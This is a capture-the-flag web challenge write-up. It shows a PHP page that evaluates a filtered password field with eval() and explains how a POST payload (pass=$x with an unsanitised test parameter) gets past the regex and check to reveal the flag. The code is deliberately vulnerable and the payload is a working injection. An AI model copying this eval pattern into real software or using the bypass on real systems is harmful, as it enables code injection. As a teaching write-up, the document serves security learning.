Challenge Description

  • Difficulty : Easy
  • Points : 150
  • Categoty : Web

Walkthrough

The page source had a comment with details of an endpoint which reveals the PHP source code. Accessing the /?source= endpoint shows the following source code.

<?php
//Show Page code source
if (isset($_GET["source"]))
{
    highlight_file(FILE);
}
// Juicy PHP Part
$flag = getenv("FLAG");
if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    if (isset($_POST["email"]) && isset($_POST["pass"]))
    {
        if ($_POST["email"] === "[email protected]")
        {
            $x = $_POST["test"];
            $inp = preg_replace("/[^A-Za-z0-9$]/", "", $_POST["pass"]);
            if ($inp === "SuperSecRetPassw0rd")
            {
                die("Hacking Attempt detected");
            }
            else
            {
                if (eval("return $inp="$inp";") === "SuperSecRetPassw0rd")
                {
                    echo $flag;
                }
                else
                {
                    die("Pretty Close maybe ?");
                }
            }
        }
    }
}
?>

We now know the username and password. However, the password cannot be directly passed in the pass POST parameter. If we do so, we get Hacking Attempt detected error.

In order to get the flag, we must return true for this below if condition.

if (eval("return $inp="$inp";") === "SuperSecRetPassw0rd"){
	echo $flag;
}

Since the $inp value comes from $_POST["pass"], we can may be base64 encode the password and specify pass parameter as base64_decode("U3VwZXJTZWNSZXRQYXNzdzByZA=="). Ideally, when this string is evaluated by the above eval function, would return the password string at the same time we will bypass the previous if condition checking if the password string is SuperSecRetPassw0rd and there by we will not enter the Hacking Attempt detected branch.

However, this attempt was a failure due to the presence of the following line of code.

$inp = preg_replace("/[^A-Za-z0-9$]/", "", $_POST["pass"]);

The regular expression removes any other characters in the password other than following character list.

  • A-Z
  • a-z
  • 0-9
  • $

So, if we attempt to enter base64_decode("U3VwZXJTZWNSZXRQYXNzdzByZA==") as pass POST parameter value, the regex would strip following characters.

  • _
  • "
  • (
  • =

Then our input would become base64decodeU3VwZXJTZWNSZXRQYXNzdzByZA which is not what we want and would not give us flag.

What Do We Do Now?

There is this piece of line which is unused anywhere else in the program.

$x = $_POST["test"];

We can make use of the variable $x to our advantage to bypass the regex replace and the Hacking Attempt detected if condition by sending below payload as POST data.

email=admin%40naruto.com&pass=$x&test=SuperSecRetPassw0rd
  • We specify $x in the pass POST parameter which would bypass the regex replace as all characters are allowed.
  • We specify password SuperSecRetPassw0rd in the test POST parameter which will end up in $x variable and is not sanitized or doesn’t undergo regex validation.
  • The first if condition will be as follows:
            if ($inp === "SuperSecRetPassw0rd") // $inp = "$x" at this point
            {
                die("Hacking Attempt detected");
            }

When execution reaches this line of code, the value of variable $inp will be the string "$x" and the if condition will not be satisfied and execution will proceed.

  • Now execution reaches the following piece of code.
                if (eval("return $inp="$inp";") === "SuperSecRetPassw0rd")
                {
                    echo $flag;
                }

The $inp within the eval would change to "$x". The eval would be become like this.

eval("return $inp="$x";")

This when evaluated will return our password stored in $x variable and would give us the flag.